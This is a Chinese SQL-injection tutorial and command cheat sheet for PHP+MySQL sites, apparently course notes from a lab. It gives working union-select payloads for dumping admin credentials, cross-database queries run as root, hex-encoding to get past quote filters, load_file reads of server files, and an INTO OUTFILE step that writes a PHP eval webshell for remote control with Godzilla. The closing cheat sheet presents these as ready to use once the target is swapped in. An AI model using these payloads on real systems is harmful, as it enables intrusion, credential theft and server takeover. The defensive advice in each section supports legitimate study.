第四十二天学习笔记:PHP+MySQL WEB攻防(SQL注入核心场景实战)

一、核心知识点总览

本节课聚焦 PHP+MySQL架构下的SQL注入漏洞,围绕“低权限到高权限”的攻击链展开,核心覆盖三大场景:

  1. 常规SQL查询注入:通过基础注入流程获取当前数据库的敏感数据(如admin账号密码);
  2. 跨库查询注入:高权限(root)下,通过一个网站的注入点获取其他网站的数据库数据;
  3. SQL文件读写:高权限下,利用SQL语句读取服务器文件或写入木马,直接获取Web权限。
    所有场景的核心前提:PHP代码未对用户输入进行有效过滤,直接拼接SQL语句。

二、PHP-MySQL Web架构(漏洞背景基础)

PHP与MySQL搭配是早期Web开发的主流架构,数据库的“用户权限管理”直接决定了注入漏洞的危害范围,主要分两种管理模式:

管理模式 实现方式 安全风险 推荐度
1. 统一root用户管理 所有PHP网站(如www.zblog.com、www.demo01.com)均使用MySQL的root账号连接数据库。 极高:一个网站被注入,攻击者可控制所有数据库。
2. 一对一用户管理(推荐) 为每个网站创建独立的MySQL用户(如zblog网站用zblog用户,demo01用demo01用户),且仅授予该网站数据库的操作权限。 较低:单个网站注入仅影响自身数据库,不扩散。

架构核心影响:后续的“跨库查询”“文件读写”均需MySQL的root权限,一对一管理模式可从根本上阻断这类高危害攻击。

三、SQL常规查询注入(基础场景)

3.1 漏洞原理

PHP代码直接将用户可控参数(如URL中的id​)拼接到SQL语句中,未做任何过滤。例如:

// 危险代码:$id未过滤,直接拼接
$id = $_GET['id'];
$sql = "select * from news where id=$id"; 
$result = mysql_query($sql); // 执行SQL

攻击者可构造id=1 union select 1,2,3,4,5,6​,篡改SQL语句的执行结果,获取敏感数据。

3.2 实战流程(以http://192.168.137.1:84/new.php?id=1​为例)

步骤1:判断注入点与列数(order by)
  • 目的:确定当前SQL查询返回的列数(union查询要求前后列数一致)。

  • 构造URL:

    http://192.168.137.1:84/new.php?id=1 order by 6  // 页面正常,说明有6列
    http://192.168.137.1:84/new.php?id=1 order by 7  // 页面报错,确认列数为6
    
步骤2:寻找数据回显位(union select)
  • 目的:找到SQL查询结果在页面中显示的位置(后续用于输出敏感数据)。

  • 构造URL(id=-1​使前半查询无结果,仅显示union结果):

    http://192.168.137.1:84/new.php?id=-1 union select 1,2,3,4,5,6
    
  • 假设页面显示“2”“4”“5”(即union查询的第2、4、5列会在页面中显示,这些就是“回显位”)。

步骤3:查询核心信息(数据库、用户、版本)
  • 利用回显位输出MySQL核心信息,判断攻击可行性:

    需求 SQL语句(替换回显位) URL示例
    查当前数据库名 union select 1,2,3,database(),5,6 ​id=-1 union select 1,2,3,database(),5,6​ → 输出demo01​(当前库)
    查当前数据库用户 union select 1,2,3,user(),5,6 ​id=-1 union select 1,2,3,user(),5,6​ → 输出root@localhost​(高权限)
    查MySQL版本 union select 1,2,3,version(),5,6 ​id=-1 union select 1,2,3,version(),5,6​ → 输出5.7.26​(支持information_schema)
    查操作系统 union select 1,2,3,@@version_compile_os,5,6 ​id=-1 union select 1,2,3,@@version_compile_os,5,6​ → 输出Win64​
步骤4:查询目标表与列(information_schema)

MySQL 5.0+自带information_schema​库,存储所有数据库的表、列信息,利用它定位敏感表(如admin​):

  1. 查当前库(demo01)的所有表:

    union select 1,2,3,group_concat(table_name),5,6 from information_schema.tables where table_schema='demo01'
    
    • URL:id=-1 union select 1,2,3,group_concat(table_name),5,6 from information_schema.tables where table_schema='demo01'​
    • 假设输出:admin,news,user​(admin​表大概率存账号密码)。
  2. 查admin表的所有列:

    union select 1,2,3,group_concat(column_name),5,6 from information_schema.columns where table_name='admin' and table_schema='demo01'
    
    • URL:id=-1 union select 1,2,3,group_concat(column_name),5,6 from information_schema.columns where table_name='admin' and table_schema='demo01'​
    • 假设输出:id,username,password​。
步骤5:提取敏感数据(admin账号密码)
  • 直接查询admin表的username​和password​,利用回显位显示:

    union select 1,2,3,username,password,6 from demo01.admin limit 0,1
    
    • URL:id=-1 union select 1,2,3,username,password,6 from demo01.admin limit 0,1​
    • 假设输出:admin​(username)、e10adc3949ba59abbe56e057f20f883e​(MD5加密的密码,解密后为123456​)。

3.3 防御建议

  1. 使用参数化查询(预编译):PHP中用mysqli_prepare​或PDO,避免直接拼接SQL(核心防御):

    // 安全代码:参数化查询
    $id = $_GET['id'];
    $stmt = $mysqli->prepare("select * from news where id=?");
    $stmt->bind_param("i", $id); // 绑定参数类型(i=整数)
    $stmt->execute();
    
  2. 输入过滤:过滤SQL关键字(如union​、select​、and​),但需注意绕过,仅作为辅助防御。

  3. 最小权限:PHP连接MySQL使用普通用户,仅授予当前数据库的select​/insert​权限,禁止drop​/alter​。

四、SQL跨库查询注入(高权限场景)

4.1 核心前提与原理

  • 必要条件:当前PHP连接MySQL的用户是root权限(可访问所有数据库);
  • 原理:MySQL中,跨库访问表需用“数据库名.表名​”的格式(如zblog.zbp_member​),攻击者通过一个网站的注入点,查询其他网站的数据库数据。

4.2 实战流程(以“通过demo01网站查zblog网站数据”为例)

步骤1:确认当前用户是root
  • 先执行常规注入的“查用户”步骤,确认输出root@localhost​(非root则无法跨库)。
步骤2:查询所有数据库(找目标库)
  • 利用information_schema.schemata​表查询MySQL中所有数据库:

    union select 1,2,3,group_concat(schema_name),5,6 from information_schema.schemata
    
    • URL:id=-1 union select 1,2,3,group_concat(schema_name),5,6 from information_schema.schemata​
    • 假设输出:demo01,zblog,mysql,information_schema​(zblog​是目标网站的数据库)。
步骤3:查询zblog库的敏感表
  • 指定table_schema='zblog'​,查该库的表:

    union select 1,2,3,group_concat(table_name),5,6 from information_schema.tables where table_schema='zblog'
    
    • 假设输出:zbp_member,zbp_article​(zbp_member​是zblog的用户表)。
步骤4:查询zbp_member表的列
  • 需同时指定table_schema='zblog'​和table_name='zbp_member'​(避免与其他库的同名表混淆):

    union select 1,2,3,group_concat(column_name),5,6 from information_schema.columns where table_schema='zblog' and table_name='zbp_member'
    
    • 假设输出:mem_ID,mem_Name,mem_Password​。
步骤5:提取zblog的用户数据
  • 跨库查询需带数据库名(zblog.zbp_member​):

    union select 1,2,3,mem_Name,mem_Password,6 from zblog.zbp_member limit 0,1
    
    • URL:id=-1 union select 1,2,3,mem_Name,mem_Password,6 from zblog.zbp_member limit 0,1​
    • 假设输出:zblog_admin​、25f9e794323b453885f5181f1b624d0b​(解密后为123456​)。

4.3 关键绕过:单引号过滤的处理

若PHP过滤了单引号(如table_schema='zblog'​会被拦截),可将字符串转为十六进制编码,并加0x​前缀:

  • ​'zblog'​的十六进制编码为0x7A626C6F67​,SQL语句可改为:

    union select 1,2,3,group_concat(table_name),5,6 from information_schema.tables where table_schema=0x7A626C6F67
    

4.4 防御建议

  1. 强制最小权限:PHP连接MySQL绝对禁止使用root账号,为每个网站创建独立用户,仅授予该网站数据库的权限(核心防御)。
  2. 禁用information_schema访问:通过MySQL权限设置,禁止普通用户访问information_schema​库(需root操作)。
  3. 检测跨库查询:WAF拦截含“数据库名.表名​”格式的SQL语句(如zblog.zbp_member​)。

五、SQL文件读写注入(高权限+配置依赖)

5.1 核心前提

  1. root权限:只有root能执行load_file​(读文件)和into outfile​(写文件);

  2. secure_file_priv配置:MySQL的secure_file_priv​系统变量需设置为允许读写的路径(默认关闭,需修改my.ini​):

    • 查看配置:show variables like 'secure_file_priv';​
    • 配置方法:在my.ini​中添加secure_file_priv="G:/develop/phpstudy_pro/WWW/"​(仅允许读写网站根目录),重启MySQL生效。

5.2 实战1:读取服务器文件(load_file)

  • 作用:读取服务器上的敏感文件(如配置文件、密码文件);

  • 语法:load_file('文件绝对路径')​;

  • 实战示例:读取PHP配置文件php.ini​(假设路径为G:/develop/phpstudy_pro/Extensions/php/php7.3.4nts/php.ini​):

    union select 1,2,3,load_file('G:/develop/phpstudy_pro/Extensions/php/php7.3.4nts/php.ini'),5,6
    
    • URL:id=-1 union select 1,2,3,load_file('G:/develop/phpstudy_pro/Extensions/php/php7.3.4nts/php.ini'),5,6​
    • 效果:页面显示php.ini​的内容,可获取upload_max_filesize​等配置。

5.3 实战2:写入木马文件(into outfile)

  • 作用:写入PHP一句话木马到网站根目录,直接获取Web权限;

  • 语法:select '木马内容' into outfile '网站根目录路径/木马文件名.php'​;

  • 实战示例:写入PHP一句话木马(密码为x​)到demo01​网站根目录:

    union select 1,2,3,'<?php eval($_POST[x]);?>',5,6 into outfile 'G:/develop/phpstudy_pro/WWW/demo01/xiaodi.php'
    
    • URL:id=-1 union select 1,2,3,'<?php eval($_POST[x]);?>',5,6 into outfile 'G:/develop/phpstudy_pro/WWW/demo01/xiaodi.php'​
    • 利用:用“哥斯拉”工具,输入URL(http://192.168.137.1:84/demo01/xiaodi.php​)和密码x​,即可控制服务器。

5.4 关键:如何获取服务器路径?

  1. 报错泄露:故意构造错误的SQL,触发数据库报错,显示路径(如select * from news where id=1 and (select count(*) from mysql.user)>​);
  2. phpinfo页面:若网站有phpinfo.php​,访问后查看DOCUMENT_ROOT​(网站根目录路径);
  3. 默认路径猜测:根据中间件猜路径(如PHPStudy默认路径G:/develop/phpstudy_pro/WWW/​)。

5.5 防御建议

  1. 配置secure_file_priv:设置为具体路径(如网站根目录外)或NULL​(禁用文件读写),禁止load_file​和into outfile​;
  2. 禁止root权限:PHP连接MySQL使用普通用户,无file​权限(file​权限是文件读写的关键);
  3. 隐藏路径信息:关闭PHP报错(display_errors = Off​),删除网站根目录的phpinfo.php​。

六、总结:SQL注入攻击链与防御核心

注入场景 核心条件 攻击目标 防御核心
常规查询注入 无过滤+参数拼接 当前库敏感数据(账号密码) 参数化查询+输入过滤
跨库查询注入 root权限+无过滤 其他网站数据库数据 最小权限(禁用root)
文件读写注入 root权限+secure_file_priv配置 服务器文件/植入木马 配置secure_file_priv+最小权限

核心思想:SQL注入的危害大小,完全取决于“PHP连接MySQL的权限”和“代码过滤程度”。最小权限+参数化查询,是防御SQL注入的“双保险”,能覆盖90%以上的注入风险。

SQL注入实战命令清单(PHP+MySQL场景专用)

本清单按“常规查询→跨库查询→文件读写”攻击流程分类,所有命令基于目标URL http://192.168.137.1:84/new.php?id=1​ 编写,可直接替换IP、端口、路径后使用,关键步骤附“注意事项”避坑。

一、常规SQL查询注入(获取当前库数据)

核心目标:获取当前网站数据库的敏感数据(如admin账号密码),无需高权限,适用于所有注入点。

操作步骤 核心SQL语句 完整URL示例 注意事项
1. 判断注入列数 ​id=1 order by 列数​(逐步增加列数,直到页面报错) 正常:http://192.168.137.1:84/new.php?id=1 order by 6​
报错:http://192.168.137.1:84/new.php?id=1 order by 7​
报错即说明“当前列数-1”是真实列数(示例中为6列),后续union查询需保持列数一致。
2. 寻找数据回显位 ​id=-1 union select 1,2,3,4,5,6​(-1使原查询无结果,仅显示union结果) ​http://192.168.137.1:84/new.php?id=-1 union select 1,2,3,4,5,6​ 观察页面显示的数字(如2、4、5),这些是“回显位”,后续敏感数据需放在回显位中。
3. 查询核心基础信息 查当前数据库名:id=-1 union select 1,2,3,database(),5,6​
查当前用户:id=-1 union select 1,2,3,user(),5,6​
查MySQL版本:id=-1 union select 1,2,3,version(),5,6​
查操作系统:id=-1 union select 1,2,3,@@version_compile_os,5,6​
查数据库名:http://192.168.137.1:84/new.php?id=-1 union select 1,2,3,database(),5,6​ 1. 版本≥5.0才支持information_schema​库(后续查表列需用);
2. 若用户是root@localhost​,可后续尝试跨库/文件读写。
4. 查询当前库的所有表 ​id=-1 union select 1,2,3,group_concat(table_name),5,6 from information_schema.tables where table_schema='当前数据库名'​ 假设当前库是demo01​:http://192.168.137.1:84/new.php?id=-1 union select 1,2,3,group_concat(table_name),5,6 from information_schema.tables where table_schema='demo01'​ ​group_concat()​用于合并多个表名,避免分页显示;若表名含特殊字符,需用十六进制编码(见“跨库查询”部分)。
5. 查询敏感表的所有列 ​id=-1 union select 1,2,3,group_concat(column_name),5,6 from information_schema.columns where table_schema='当前数据库名' and table_name='敏感表名'​ 假设敏感表是admin​:http://192.168.137.1:84/new.php?id=-1 union select 1,2,3,group_concat(column_name),5,6 from information_schema.columns where table_schema='demo01' and table_name='admin'​ 需同时指定table_schema​和table_name​,避免与其他库的同名表混淆。
6. 提取敏感数据(账号密码) ​id=-1 union select 1,2,3,用户名列,密码列,6 from 当前数据库名.敏感表名 limit 0,1​ 假设列是username​/password​:http://192.168.137.1:84/new.php?id=-1 union select 1,2,3,username,password,6 from demo01.admin limit 0,1​ 1. limit 0,1​表示取第1条数据,改0​为1​取第2条;
2. 密码若为MD5加密(如e10adc3949ba59abbe56e057f20f883e​),用在线工具(如MD5在线解密)解密。

二、跨库SQL查询注入(获取其他网站数据)

核心目标:通过当前网站注入点,获取MySQL中其他网站的数据库数据,必须满足root权限(普通用户无跨库权限)。

操作步骤 核心SQL语句 完整URL示例 注意事项
1. 确认当前用户是root ​id=-1 union select 1,2,3,user(),5,6​ 同“常规查询”步骤3中的“查当前用户”URL 若输出不是root@localhost​,直接终止跨库操作(无权限)。
2. 查询MySQL中所有数据库 ​id=-1 union select 1,2,3,group_concat(schema_name),5,6 from information_schema.schemata​ ​http://192.168.137.1:84/new.php?id=-1 union select 1,2,3,group_concat(schema_name),5,6 from information_schema.schemata​ 重点关注业务数据库(如zblog​、dvwa​),排除mysql​、information_schema​等系统库。
3. 查询目标库的所有表 ​id=-1 union select 1,2,3,group_concat(table_name),5,6 from information_schema.tables where table_schema='目标数据库名'​ 假设目标库是zblog​:http://192.168.137.1:84/new.php?id=-1 union select 1,2,3,group_concat(table_name),5,6 from information_schema.tables where table_schema='zblog'​ 若单引号被过滤,将数据库名转为十六进制(如zblog​→0x7A626C6F67​),SQL改为table_schema=0x7A626C6F67​。
4. 查询目标表的所有列 ​id=-1 union select 1,2,3,group_concat(column_name),5,6 from information_schema.columns where table_schema='目标数据库名' and table_name='目标表名'​ 假设目标表是zbp_member​:http://192.168.137.1:84/new.php?id=-1 union select 1,2,3,group_concat(column_name),5,6 from information_schema.columns where table_schema='zblog' and table_name='zbp_member'​ 表名也支持十六进制编码(如zbp_member​→0x7A62705F6D656D626572​),需注意编码后不加单引号。
5. 提取目标库的敏感数据 ​id=-1 union select 1,2,3,用户名列,密码列,6 from 目标数据库名.目标表名 limit 0,1​ 假设列是mem_Name​/mem_Password​:http://192.168.137.1:84/new.php?id=-1 union select 1,2,3,mem_Name,mem_Password,6 from zblog.zbp_member limit 0,1​ 跨库查询必须用“数据库名.表名​”格式,否则MySQL会默认从当前库查找,导致报错。

三、SQL文件读写注入(获取服务器权限)

核心目标:通过SQL语句读取服务器文件或写入PHP木马,必须满足两个条件:1. root权限;2. MySQL的secure_file_priv​配置允许读写(默认关闭,需修改my.ini​)。

操作类型 核心SQL语句 完整URL示例 注意事项
1. 读取服务器文件(load_file) ​id=-1 union select 1,2,3,load_file('文件绝对路径'),5,6​ 读php.ini:http://192.168.137.1:84/new.php?id=-1 union select 1,2,3,load_file('G:/develop/phpstudy_pro/Extensions/php/php7.3.4nts/php.ini'),5,6​
读hosts文件:http://192.168.137.1:84/new.php?id=-1 union select 1,2,3,load_file('C:/Windows/System32/drivers/etc/hosts'),5,6​
1. 路径必须是绝对路径(相对路径无效);
2. 路径中的斜杠用/​或\\​(Windows系统两种都支持);
3. 常见敏感文件:php.ini​(PHP配置)、config.php​(网站数据库配置)、hosts​(系统 hosts 文件)。
2. 写入PHP木马(into outfile) ​id=-1 union select 1,2,3,'<?php eval($_POST[x]);?>',5,6 into outfile '网站根目录绝对路径/木马文件名.php'​ 写入到demo01根目录:http://192.168.137.1:84/new.php?id=-1 union select 1,2,3,'<?php eval($_POST[x]);?>',5,6 into outfile 'G:/develop/phpstudy_pro/WWW/demo01/xiaodi.php'​ 1. 网站根目录路径可通过“phpinfo页面”的DOCUMENT_ROOT​获取,或报错泄露;
2. 木马密码为x​,后续用“哥斯拉”“菜刀”工具连接;
3. 若提示“文件已存在”,改文件名(如xiaodi1.php​);
4. secure_file_priv​配置方法:在my.ini​加secure_file_priv="G:/develop/phpstudy_pro/WWW/"​,重启MySQL。

四、通用避坑指南

  1. 单引号过滤绕过:所有字符串(数据库名、表名、路径)均可转为十六进制,前缀加0x​,无需单引号(如'admin'​→0x61646D696E​),在线十六进制转换工具:https://www.bejson.com/convert/stringtohex/
  2. 无回显处理:若页面无数据回显,改用“报错注入”(如and extractvalue(1,concat(0x7e,database(),0x7e))​)或“盲注”(需用SQLMap自动化);
  3. 命令长度限制:若URL过长导致注入失败,用“分段注入”或通过POST参数提交(如将id​参数放在POST表单中)。
Logo

Agent 垂直技术社区,欢迎活跃、内容共建。

更多推荐